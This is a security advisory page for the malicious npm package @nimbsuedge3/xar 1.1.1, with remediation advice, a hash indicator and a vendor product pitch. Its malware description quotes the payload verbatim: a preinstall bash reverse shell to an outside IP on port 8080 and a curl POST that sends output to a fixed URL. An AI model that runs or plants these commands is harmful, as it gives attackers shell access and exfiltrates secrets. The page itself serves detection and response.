Which versions of @nimbsuedge3/xar are malicious?

The following npm versions of @nimbsuedge3/xar are flagged malicious: 1.1.1. Treat any of these as compromised.

How do I remediate @nimbsuedge3/xar if I installed it?

@nimbsuedge3/xar is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @nimbsuedge3/xar — how do I know if it already compromised me?

If @nimbsuedge3/xar was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @nimbsuedge3/xar part of a known attack campaign?

Yes — @nimbsuedge3/xar is associated with the IN-MAL-2026-020195 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @nimbsuedge3/xar across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @nimbsuedge3/xar (version 1.1.1).

Malicious package

@nimbsuedge3/xarnpm

Advisory published Sep 21, 2026Updated Sep 21, 2026

@nimbsuedge3/xar is a confirmed malicious npm package (MAL-2026-16301) that steals credentials and exfiltrates sensitive data (malicious version 1.1.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @nimbsuedge3/xar (npm)

MAL-2026-16301

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @nimbsuedge3/xar

What this malware does

package.json declares a preinstall lifecycle script that runs bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through curl -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php as an out-of-band exfiltration beacon. Both actions fire automatically on npm install, giving the operator of 147.93.157.202:8080 interactive shell access on the installer's host and shipping command output to the hardcoded canarytokens.com URL. The package ships no legitimate functionality consistent with this behavior.

Malicious versions

1 flagged

1.1.1

Indicators of compromise (SHA-256)

85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for @nimbsuedge3/xar (version 1.1.1).
If you installed it — respond
@nimbsuedge3/xar is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @nimbsuedge3/xar was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @nimbsuedge3/xar on npm has been identified as a malicious package (version 1.1.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020195

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @nimbsuedge3/xar-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

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